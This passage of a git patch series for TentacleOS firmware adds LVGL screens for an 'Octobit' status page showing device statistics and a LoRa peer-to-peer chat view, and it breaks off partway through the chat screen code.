ACT_COUNT; i++) { + s_acts[i] = lv_label_create(s_screen); + lv_label_set_text(s_acts[i], ACT_NAMES[i]); + lv_obj_set_style_text_color(s_acts[i], current_theme.text_main, 0); + lv_obj_set_style_text_font(s_acts[i], &lv_font_montserrat_14, 0); + lv_obj_align(s_acts[i], LV_ALIGN_BOTTOM_LEFT, 12, -100 + i * 22); + } + draw_selection(); + refresh_telem(); + + ui_chrome_footer(s_screen, "UP/DOWN select OK do BACK exit"); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, NAV_TIMER_MS, NULL); + + lv_screen_load(s_screen); +} From a799fcba76931686ecb7ffc591e25cd56d4b0bf4 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:08:02 -0300 Subject: [PATCH 116/572] feat(ui): add octobit status screen --- .../octobit/include/octobit_status_ui.h | 37 ++ .../ui/screens/octobit/octobit_status_ui.c | 455 ++++++++++++++++++ 2 files changed, 492 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/octobit/include/octobit_status_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/octobit/octobit_status_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/octobit/include/octobit_status_ui.h b/firmware_p4/components/Applications/ui/screens/octobit/include/octobit_status_ui.h new file mode 100644 index 000000000..47c911c86 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/octobit/include/octobit_status_ui.h @@ -0,0 +1,37 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef OCTOBIT_STATUS_UI_H +#define OCTOBIT_STATUS_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Open the Octobit status screen (reached with LEFT from home). + * + * Top: the octobit "character sheet" — portrait avatar + level badge + XP bar. + * Below: a statistics selector navigated with UP/DOWN. A subset of the stats is + * live (uptime, battery, heap, storage, boot count); the rest are mock. + * BACK or RIGHT returns to home. + */ +void ui_octobit_status_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // OCTOBIT_STATUS_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/octobit/octobit_status_ui.c b/firmware_p4/components/Applications/ui/screens/octobit/octobit_status_ui.c new file mode 100644 index 000000000..db275ef09 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/octobit/octobit_status_ui.c @@ -0,0 +1,455 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "octobit_status_ui.h" + +#include + +#include "esp_heap_caps.h" +#include "esp_littlefs.h" +#include "esp_timer.h" +#include "nvs.h" + +#include "lvgl.h" +#include "st7789.h" + +#include "assets_manager.h" +#include "bq25896.h" +#include "buttons_gpio.h" +#include "ui_chrome.h" +#include "ui_feedback.h" +#include "ui_manager.h" +#include "ui_theme.h" + +#define MX 8 +#define CONTENT_W (LCD_H_RES - 2 * MX) +#define CARD_Y 46 +#define CARD_H 64 +#define AVA 50 +#define SELHD_Y 116 +#define SELWRAP_Y 134 +#define SELWRAP_H 156 +#define ROW_H 34 +#define ROW_GAP 5 +#define ROW_STEP (ROW_H + ROW_GAP) +#define VIS 4 + +#define AVATAR_ASSET "/assets/img/octobit_portrait.bin" + +#define OCTO_LEVEL 7 +#define OCTO_XP 1240 +#define OCTO_XP_MAX 2000 + +#define COL_RAISE 0x170A28 +#define COL_DIM 0x8A8594 + +#define NAV_TIMER_MS 60 +#define REFRESH_MS 1000 + +enum { + ST_UPTIME = 0, + ST_SCANS, + ST_CARDS, + ST_SIGNALS, + ST_BOOTS, + ST_BATTERY, + ST_STORAGE, + ST_HEAP, + ST_COUNT, +}; + +typedef struct { + const char *sym; + const char *name; +} stat_def_t; + +static const stat_def_t STAT_DEFS[ST_COUNT] = { + {LV_SYMBOL_REFRESH, "Uptime"}, + {LV_SYMBOL_EYE_OPEN, "Scans"}, + {LV_SYMBOL_SD_CARD, "Cards saved"}, + {LV_SYMBOL_WIFI, "Signals"}, + {LV_SYMBOL_POWER, "Boots"}, + {LV_SYMBOL_CHARGE, "Battery"}, + {LV_SYMBOL_DRIVE, "Storage"}, + {LV_SYMBOL_BARS, "Heap free"}, +}; + +static lv_obj_t *s_screen = NULL; +static lv_obj_t *s_sellist = NULL; +static lv_obj_t *s_counter = NULL; +static lv_obj_t *s_row[ST_COUNT]; +static lv_obj_t *s_icon_lbl[ST_COUNT]; +static lv_obj_t *s_val_lbl[ST_COUNT]; +static lv_timer_t *s_timer = NULL; + +static int s_sel = 0; +static uint32_t s_last_refresh = 0; +static bool s_up_last, s_down_last, s_back_last, s_right_last; + +static uint32_t s_boots = 0; +static bool s_boots_read = false; + +static void read_boots_once(void) { + if (s_boots_read) + return; + s_boots_read = true; + nvs_handle_t h; + if (nvs_open("octobit", NVS_READWRITE, &h) == ESP_OK) { + uint32_t v = 0; + nvs_get_u32(h, "boots", &v); + v++; + nvs_set_u32(h, "boots", v); + nvs_commit(h); + nvs_close(h); + s_boots = v; + } else { + s_boots = 1; + } +} + +static void set_val(int i, const char *text) { + if (s_val_lbl[i]) + lv_label_set_text(s_val_lbl[i], text); +} + +static void refresh_values(void) { + char b[64]; + + uint32_t s = (uint32_t)(esp_timer_get_time() / 1000000LL); + if (s >= 86400) + snprintf(b, + sizeof(b), + "%lud %02luh", + (unsigned long)(s / 86400), + (unsigned long)((s % 86400) / 3600)); + else if (s >= 3600) + snprintf( + b, sizeof(b), "%luh %02lum", (unsigned long)(s / 3600), (unsigned long)((s % 3600) / 60)); + else + snprintf(b, sizeof(b), "%lum %02lus", (unsigned long)(s / 60), (unsigned long)(s % 60)); + set_val(ST_UPTIME, b); + + bq25896_telem_t t; + if (bq25896_read_telemetry(&t) == ESP_OK) + snprintf(b, sizeof(b), "%d%%", t.soc); + else + snprintf(b, sizeof(b), "--"); + set_val(ST_BATTERY, b); + + snprintf( + b, sizeof(b), "%lu KB", (unsigned long)(heap_caps_get_free_size(MALLOC_CAP_DEFAULT) / 1024)); + set_val(ST_HEAP, b); + + size_t total = 0, used = 0; + if (esp_littlefs_info("assets", &total, &used) == ESP_OK) { + uint32_t u10 = (uint32_t)((uint64_t)used * 10 / (1024 * 1024)); + uint32_t t10 = (uint32_t)((uint64_t)total * 10 / (1024 * 1024)); + snprintf(b, + sizeof(b), + "%lu.%lu/%lu.%lu MB", + (unsigned long)(u10 / 10), + (unsigned long)(u10 % 10), + (unsigned long)(t10 / 10), + (unsigned long)(t10 % 10)); + } else { + snprintf(b, sizeof(b), "-- MB"); + } + set_val(ST_STORAGE, b); +} + +static void refresh_selection(void) { + const lv_color_t accent = current_theme.border_accent; + const lv_color_t dim = lv_color_hex(COL_DIM); + for (int i = 0; i < ST_COUNT; i++) { + bool sel = (i == s_sel); + lv_obj_set_style_border_color(s_row[i], sel ? accent : current_theme.border_inactive, 0); + lv_obj_set_style_border_opa(s_row[i], sel ? LV_OPA_COVER : LV_OPA_TRANSP, 0); + lv_obj_set_style_bg_color( + s_row[i], sel ? lv_color_hex(COL_RAISE) : current_theme.bg_secondary, 0); + lv_obj_set_style_shadow_width(s_row[i], sel ? 14 : 0, 0); + lv_obj_set_style_shadow_color(s_row[i], accent, 0); + lv_obj_set_style_shadow_spread(s_row[i], sel ? -3 : 0, 0); + lv_obj_set_style_text_color(s_icon_lbl[i], sel ? accent : dim, 0); + lv_obj_set_style_text_color(s_val_lbl[i], sel ? accent : dim, 0); + } + int top = s_sel - 1; + if (top < 0) + top = 0; + if (top > ST_COUNT - VIS) + top = ST_COUNT - VIS; + lv_obj_set_style_translate_y(s_sellist, -top * ROW_STEP, 0); + + if (s_counter) + lv_label_set_text_fmt(s_counter, "%d/%d", s_sel + 1, ST_COUNT); +} + +static lv_obj_t *make_row(lv_obj_t *parent, int i) { + lv_obj_t *row = lv_obj_create(parent); + lv_obj_remove_flag(row, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(row, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(row, lv_pct(100), ROW_H); + lv_obj_set_style_radius(row, 9, 0); + lv_obj_set_style_bg_opa(row, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(row, 2, 0); + lv_obj_set_style_pad_left(row, 10, 0); + lv_obj_set_style_pad_right(row, 10, 0); + lv_obj_set_style_pad_top(row, 0, 0); + lv_obj_set_style_pad_bottom(row, 0, 0); + lv_obj_set_flex_flow(row, LV_FLEX_FLOW_ROW); + lv_obj_set_flex_align(row, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + lv_obj_t *ic = lv_label_create(row); + lv_label_set_text(ic, STAT_DEFS[i].sym); + lv_obj_set_style_text_font(ic, &lv_font_montserrat_16, 0); + lv_obj_set_width(ic, 20); + lv_obj_set_style_text_align(ic, LV_TEXT_ALIGN_CENTER, 0); + + lv_obj_t *name = lv_label_create(row); + lv_label_set_text(name, STAT_DEFS[i].name); + lv_obj_set_style_text_font(name, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_color(name, current_theme.text_main, 0); + lv_obj_set_style_pad_left(name, 9, 0); + lv_obj_set_flex_grow(name, 1); + + lv_obj_t *val = lv_label_create(row); + lv_label_set_text(val, "--"); + lv_obj_set_style_text_font(val, &lv_font_montserrat_14, 0); + + s_icon_lbl[i] = ic; + s_val_lbl[i] = val; + return row; +} + +static void build_top_card(void) { + lv_obj_t *card = lv_obj_create(s_screen); + lv_obj_remove_flag(card, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(card, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(card, CONTENT_W, CARD_H); + lv_obj_align(card, LV_ALIGN_TOP_MID, 0, CARD_Y); + lv_obj_set_style_radius(card, 12, 0); + lv_obj_set_style_bg_color(card, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_opa(card, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(card, 1, 0); + lv_obj_set_style_border_color(card, current_theme.border_interface, 0); + lv_obj_set_style_border_opa(card, LV_OPA_50, 0); + lv_obj_set_style_pad_all(card, 0, 0); + lv_obj_add_flag(card, LV_OBJ_FLAG_OVERFLOW_VISIBLE); + + lv_obj_t *ava = lv_obj_create(card); + lv_obj_remove_flag(ava, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(ava, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(ava, AVA, AVA); + lv_obj_align(ava, LV_ALIGN_LEFT_MID, 8, 0); + lv_obj_set_style_radius(ava, LV_RADIUS_CIRCLE, 0); + lv_obj_set_style_bg_color(ava, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(ava, current_theme.screen_base, 0); + lv_obj_set_style_bg_grad_dir(ava, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_bg_opa(ava, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(ava, 2, 0); + lv_obj_set_style_border_color(ava, current_theme.border_accent, 0); + lv_obj_set_style_shadow_width(ava, 14, 0); + lv_obj_set_style_shadow_color(ava, current_theme.border_accent, 0); + lv_obj_set_style_shadow_spread(ava, -4, 0); + lv_obj_set_style_pad_all(ava, 0, 0); + lv_obj_set_style_clip_corner(ava, true, 0); + + lv_image_dsc_t *portrait = assets_get(AVATAR_ASSET); + if (portrait != NULL) { + lv_obj_t *img = lv_image_create(ava); + lv_image_set_src(img, portrait); + lv_obj_set_size(img, AVA - 8, AVA - 8); + lv_image_set_inner_align(img, LV_IMAGE_ALIGN_CONTAIN); + lv_obj_center(img); + } + + lv_obj_t *badge = lv_label_create(card); + lv_label_set_text_fmt(badge, "Lv %d", OCTO_LEVEL); + lv_obj_set_style_text_font(badge, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(badge, current_theme.screen_base, 0); + lv_obj_set_style_bg_color(badge, current_theme.border_accent, 0); + lv_obj_set_style_bg_opa(badge, LV_OPA_COVER, 0); + lv_obj_set_style_radius(badge, 7, 0); + lv_obj_set_style_pad_hor(badge, 5, 0); + lv_obj_set_style_pad_ver(badge, 1, 0); + lv_obj_update_layout(s_screen); + lv_obj_align_to(badge, ava, LV_ALIGN_BOTTOM_RIGHT, 6, 5); + + const int col_x = 8 + AVA + 12; + const int col_w = CONTENT_W - col_x - 12; + + lv_obj_t *xp_tag = lv_label_create(card); + lv_label_set_text(xp_tag, "XP"); + lv_obj_set_style_text_font(xp_tag, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(xp_tag, lv_color_hex(COL_DIM), 0); + lv_obj_align(xp_tag, LV_ALIGN_LEFT_MID, col_x, -12); + + lv_obj_t *xp_val = lv_label_create(card); + lv_label_set_text_fmt(xp_val, "%d / %d", OCTO_XP, OCTO_XP_MAX); + lv_obj_set_style_text_font(xp_val, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(xp_val, lv_color_hex(COL_DIM), 0); + lv_obj_set_width(xp_val, col_w); + lv_obj_set_style_text_align(xp_val, LV_TEXT_ALIGN_RIGHT, 0); + lv_obj_align(xp_val, LV_ALIGN_LEFT_MID, col_x, -12); + + lv_obj_t *bar = lv_obj_create(card); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(bar, col_w, 8); + lv_obj_align(bar, LV_ALIGN_LEFT_MID, col_x, 6); + lv_obj_set_style_radius(bar, 4, 0); + lv_obj_set_style_bg_color(bar, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(bar, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(bar, 1, 0); + lv_obj_set_style_border_color(bar, current_theme.border_inactive, 0); + lv_obj_set_style_pad_all(bar, 0, 0); + lv_obj_set_style_clip_corner(bar, true, 0); + + lv_obj_t *fill = lv_obj_create(bar); + lv_obj_remove_flag(fill, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(fill, LV_OBJ_FLAG_CLICKABLE); + int pct = OCTO_XP_MAX > 0 ? (OCTO_XP * 100 / OCTO_XP_MAX) : 0; + lv_obj_set_size(fill, lv_pct(pct), lv_pct(100)); + lv_obj_align(fill, LV_ALIGN_LEFT_MID, 0, 0); + lv_obj_set_style_radius(fill, 4, 0); + lv_obj_set_style_border_width(fill, 0, 0); + lv_obj_set_style_bg_color(fill, current_theme.border_interface, 0); + lv_obj_set_style_bg_grad_color(fill, current_theme.border_accent, 0); + lv_obj_set_style_bg_grad_dir(fill, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_bg_opa(fill, LV_OPA_COVER, 0); +} + +static void build_selector(void) { + lv_obj_t *tag = lv_label_create(s_screen); + lv_label_set_text(tag, "STATISTICS"); + lv_obj_set_style_text_font(tag, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(tag, lv_color_hex(COL_DIM), 0); + lv_obj_align(tag, LV_ALIGN_TOP_LEFT, MX + 4, SELHD_Y); + + s_counter = lv_label_create(s_screen); + lv_label_set_text(s_counter, "1/8"); + lv_obj_set_style_text_font(s_counter, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_color(s_counter, lv_color_hex(COL_DIM), 0); + lv_obj_align(s_counter, LV_ALIGN_TOP_RIGHT, -(MX + 4), SELHD_Y); + + lv_obj_t *wrap = lv_obj_create(s_screen); + lv_obj_remove_flag(wrap, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(wrap, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_size(wrap, CONTENT_W, SELWRAP_H); + lv_obj_align(wrap, LV_ALIGN_TOP_MID, 0, SELWRAP_Y); + lv_obj_set_style_bg_opa(wrap, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(wrap, 0, 0); + lv_obj_set_style_pad_all(wrap, 0, 0); + lv_obj_set_style_clip_corner(wrap, true, 0); + + s_sellist = lv_obj_create(wrap); + lv_obj_remove_flag(s_sellist, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_remove_flag(s_sellist, LV_OBJ_FLAG_CLICKABLE); + lv_obj_set_width(s_sellist, lv_pct(100)); + lv_obj_set_height(s_sellist, LV_SIZE_CONTENT); + lv_obj_align(s_sellist, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_set_style_bg_opa(s_sellist, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(s_sellist, 0, 0); + lv_obj_set_style_pad_all(s_sellist, 0, 0); + lv_obj_set_style_pad_row(s_sellist, ROW_GAP, 0); + lv_obj_set_flex_flow(s_sellist, LV_FLEX_FLOW_COLUMN); + + for (int i = 0; i < ST_COUNT; i++) + s_row[i] = make_row(s_sellist, i); +} + +static void tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_timer = NULL; + return; + } + + bool up = ui_btn_up(), down = ui_btn_down(); + bool right = ui_btn_right(), back = back_button_is_down(); + + if (ui_input_is_locked()) { + s_up_last = up; + s_down_last = down; + s_right_last = right; + s_back_last = back; + return; + } + + if ((back && !s_back_last) || (right && !s_right_last)) { + ui_switch_screen(SCREEN_HOME); + return; + } + if (down && !s_down_last) { + s_sel = (s_sel + 1) % ST_COUNT; + refresh_selection(); + ui_feedback(UI_FB_NAV); + } + if (up && !s_up_last) { + s_sel = (s_sel - 1 + ST_COUNT) % ST_COUNT; + refresh_selection(); + ui_feedback(UI_FB_NAV); + } + + if (lv_tick_get() - s_last_refresh >= REFRESH_MS) { + s_last_refresh = lv_tick_get(); + refresh_values(); + } + + s_up_last = up; + s_down_last = down; + s_right_last = right; + s_back_last = back; +} + +void ui_octobit_status_open(void) { + bq25896_init(); + + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_sel = 0; + s_last_refresh = 0; + s_up_last = s_down_last = s_back_last = s_right_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + ui_chrome_header(s_screen, "Octobit", NULL); + + build_top_card(); + build_selector(); + + ui_chrome_footer(s_screen, "UP/DOWN navigate BACK home"); + + set_val(ST_SCANS, "1,204"); + set_val(ST_CARDS, "37"); + set_val(ST_SIGNALS, "82"); + read_boots_once(); + { + char b[16]; + snprintf(b, sizeof(b), "#%lu", (unsigned long)s_boots); + set_val(ST_BOOTS, b); + } + refresh_values(); + refresh_selection(); + + if (s_timer == NULL) + s_timer = lv_timer_create(tick_cb, NAV_TIMER_MS, NULL); + + lv_screen_load(s_screen); +} From 375f68a82ab552bb0de71d311a90c169ed5af0f5 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 13:08:21 -0300 Subject: [PATCH 117/572] feat(ui): add LoRa chat screen --- .../ui/screens/lora/include/lora_chat_ui.h | 40 + .../ui/screens/lora/lora_chat_ui.c | 1062 +++++++++++++++++ 2 files changed, 1102 insertions(+) create mode 100644 firmware_p4/components/Applications/ui/screens/lora/include/lora_chat_ui.h create mode 100644 firmware_p4/components/Applications/ui/screens/lora/lora_chat_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/lora/include/lora_chat_ui.h b/firmware_p4/components/Applications/ui/screens/lora/include/lora_chat_ui.h new file mode 100644 index 000000000..a02377a21 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/lora/include/lora_chat_ui.h @@ -0,0 +1,40 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef LORA_CHAT_UI_H +#define LORA_CHAT_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Open the LoRa chat screen — peer-to-peer text messaging between + * HighBoy units over the SX1262 radio. OK composes a message, BACK + * exits, UP/DOWN scroll the conversation. + */ +void ui_lora_chat_open(void); + +/** + * @brief Open the LoRa screen directly on the chat conversation view (linked), + * skipping the protocol picker. Used as the boot landing screen. + */ +void ui_lora_chat_open_chat(void); + +#ifdef __cplusplus +} +#endif + +#endif // LORA_CHAT_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/lora/lora_chat_ui.c b/firmware_p4/components/Applications/ui/screens/lora/lora_chat_ui.c new file mode 100644 index 000000000..310804517 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/lora/lora_chat_ui.c @@ -0,0 +1,1062 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "lora_chat_ui.h" + +#include +#include + +#include "esp_log.h" + +#include "assets_manager.h" +#include "buttons_gpio.h" +#include "keyboard_ui.h" +#include "menu_component_ui.h" +#include "st7789.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" +#include "waves_ui.h" + +static const char *TAG = "LORA_MESH"; + +#define NAV_TIMER_MS 50 +#define CONNECT_MS 5000 +#define SIG_GREEN 0x00E676 +#define ENTRY_MS 200 + +#define ICON_BT "/assets/icons/bluetooth_icon.bin" +#define ICON_RADAR "/assets/icons/radar_icon.bin" +#define ICON_CONFIG "/assets/icons/config_icon.bin" +#define ICON_CONNECT "/assets/icons/bluetooth_icon.bin" +#define ICON_NODES "/assets/icons/node_icon.bin" +#define ART_LORA "/assets/frames/lora_frame_0.bin" + +#define HDR_TITLE_Y 10 +#define HDR_TAG_Y 30 +#define HDR_RULE_Y 48 +#define HDR_RULE_W_PCT 70 +#define HDR_RULE_H 2 + +#define BADGE_SIZE 28 +#define BADGE_ICON_PX 18 + +#define PROTO_CARD_W 210 +#define PROTO_CARD_H 66 +#define PROTO_CARD_RADIUS 12 +#define PROTO_CARD_PAD 10 +#define PROTO_CARD_GAP 12 +#define PROTO_CARD0_Y 64 +#define PROTO_CARD1_Y 138 +#define CARD_SHADOW_W 10 + +#define HOME_ROW_W 210 +#define HOME_ROW_H 42 +#define HOME_ROW_RADIUS 10 +#define HOME_ROW_PAD 9 +#define HOME_ROW_GAP 8 +#define HOME_ROW0_Y 98 +#define HOME_INFO_Y 70 + +#define RSSI_BAR_GAP 5 + +#define TOP_BORDER_H 46 +#define STATUS_Y_OFS (TOP_BORDER_H + 12) +#define CARD_Y_OFS 86 + +#define PHASE_STEP_MS 1650 +#define PHASE_COUNT 3 +#define DOTS_STEP_MS 340 +#define DOTS_MAX 3 + +#define PULSE_DOT_SIZE 7 +#define PULSE_DOT_GAP 12 +#define PULSE_DOT_COUNT 3 +#define PULSE_DOT_MS 320 +#define PULSE_DOT_STAGGER 220 +#define TYPING_LIFETIME_MS 1200 +#define TYPING_PAD 7 +#define TYPING_RADIUS 9 +#define TYPING_MAX_WIDTH 184 + +static const char *PROTOS[] = {"MeshCore", "Meshtastic"}; +#define PROTO_COUNT ((int)(sizeof(PROTOS) / sizeof(PROTOS[0]))) + +static const char *PROTO_TAGS[] = {"Encrypted mesh chat", "Long-range telemetry"}; +static const char *PROTO_ICONS[] = {ICON_RADAR, ICON_BT}; + +static const char *HOME_ITEMS[] = {"Connect App", "Nodes", "Configs"}; +#define HOME_COUNT ((int)(sizeof(HOME_ITEMS) / sizeof(HOME_ITEMS[0]))) + +static const char *HOME_TAGS[] = {"Pair companion app", "Mesh peers nearby", "Radio parameters"}; +static const char *HOME_ICONS[] = {ICON_CONNECT, ICON_NODES, ICON_CONFIG}; + +static const char *PHASES[] = {"Scanning mesh", "Handshake", "Authenticating"}; + +static const struct { + const char *name; + int rssi; + bool strong; +} NODES[] = { + {"Base Camp", -42, true}, + {"Gateway-1", -55, true}, + {"Relay-7", -78, false}, + {"Drone-A", -67, true}, + {"Trekker", -91, false}, +}; +#define NODE_COUNT ((int)(sizeof(NODES) / sizeof(NODES[0]))) + +static const char *OPT_REGION[] = {"US", "EU868", "CN", "ANZ"}; +static const char *OPT_CHAN[] = {"0", "1", "2", "3", "4", "5", "6", "7"}; +static const char *OPT_PRESET[] = {"LongFast", "MediumFast", "ShortFast", "LongSlow"}; +#define OPT_N(a) ((int)(sizeof(a) / sizeof((a)[0]))) +enum { CFG_REGION = 0, CFG_CHAN, CFG_PRESET, CFG_POWER, CFG_ROLE, CFG_COUNT }; + +typedef enum { + VIEW_PROTO = 0, + VIEW_HOME, + VIEW_CONNECT, + VIEW_NODES, + VIEW_CHAT, + VIEW_CONFIGS, +} view_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_obj_t *s_chat_list = NULL; +static lv_obj_t *s_status_label = NULL; +static lv_obj_t *s_typing_row = NULL; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_connect_timer = NULL; +static lv_timer_t *s_reply_timer = NULL; +static lv_timer_t *s_phase_timer = NULL; +static view_t s_view = VIEW_PROTO; +static int s_proto = 0; +static int s_proto_sel = 0; +static int s_home_sel = 0; +static lv_obj_t *s_proto_cards[PROTO_COUNT]; +static lv_obj_t *s_home_rows[HOME_COUNT]; +static int s_node = 0; +static int s_reply_i = 0; +static int s_phase = 0; +static bool s_linked = false; +static int s_cfg_region = 0, s_cfg_chan = 3, s_cfg_preset = 0; +static int s_msg_clock = 0; + +static bool s_up_last, s_down_last, s_left_last, s_right_last, s_ok_last, s_back_last; + +static const char *REPLIES[] = { + "Roger that.", "Copy.", "On my way.", "Stay safe out there.", "10-4, over."}; +#define REPLY_COUNT ((int)(sizeof(REPLIES) / sizeof(REPLIES[0]))) + +static void nav_timer_cb(lv_timer_t *t); +static void build_screen(void); +static void add_bubble(bool outgoing, const char *who, const char *text); + +static void stop_timers(void) { + if (s_connect_timer != NULL) { + lv_timer_delete(s_connect_timer); + s_connect_timer = NULL; + } + if (s_reply_timer != NULL) { + lv_timer_delete(s_reply_timer); + s_reply_timer = NULL; + } + if (s_phase_timer != NULL) { + lv_timer_delete(s_phase_timer); + s_phase_timer = NULL; + } +} + +static void anim_opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static lv_obj_t *make_icon(lv_obj_t *parent, const char *path, uint32_t scale) { + lv_image_dsc_t *dsc = assets_get(path); + if (dsc == NULL) + return NULL; + lv_obj_t *img = lv_image_create(parent); + lv_image_set_src(img, dsc); + if (scale != 256) + lv_image_set_scale(img, scale); + return img; +} + +static lv_obj_t *make_status_pill(lv_obj_t *parent, bool linked) { + lv_obj_t *pill = lv_obj_create(parent); + lv_obj_remove_flag(pill, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(pill, LV_SIZE_CONTENT, 20); + lv_obj_set_style_radius(pill, 10, 0); + lv_obj_set_style_pad_hor(pill, 9, 0); + lv_obj_set_style_pad_ver(pill, 0, 0); + lv_obj_set_style_border_width(pill, 1, 0); + lv_obj_set_style_bg_opa(pill, LV_OPA_COVER, 0); + if (linked) { + lv_obj_set_style_bg_color(pill, lv_color_hex(0x0A3A2E), 0); + lv_obj_set_style_border_color(pill, lv_color_hex(SIG_GREEN), 0); + } else { + lv_obj_set_style_bg_color(pill, current_theme.bg_secondary, 0); + lv_obj_set_style_border_color(pill, current_theme.border_inactive, 0); + } + lv_obj_t *l = lv_label_create(pill); + lv_label_set_text(l, linked ? LV_SYMBOL_OK " Linked" : LV_SYMBOL_CLOSE " Offline"); + lv_obj_set_style_text_color( + l, linked ? lv_color_hex(SIG_GREEN) : current_theme.border_inactive, 0); + lv_obj_set_style_text_font(l, &lv_font_montserrat_12, 0); + lv_obj_center(l); + return pill; +} + +static void lora_accent_header(const char *title, const char *tagline) { + lv_obj_t *t = lv_label_create(s_screen); + lv_label_set_text(t, title); + lv_obj_set_style_text_color(t, current_theme.border_accent, 0); + lv_obj_set_style_text_font(t, &lv_font_montserrat_14, 0); + lv_obj_align(t, LV_ALIGN_TOP_MID, 0, HDR_TITLE_Y); + + lv_obj_t *tag = lv_label_create(s_screen); + lv_label_set_text(tag, tagline); + lv_obj_set_style_text_color(tag, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(tag, &lv_font_montserrat_12, 0); + lv_obj_align(tag, LV_ALIGN_TOP_MID, 0, HDR_TAG_Y); + + lv_obj_t *rule = lv_obj_create(s_screen); + lv_obj_remove_flag(rule, 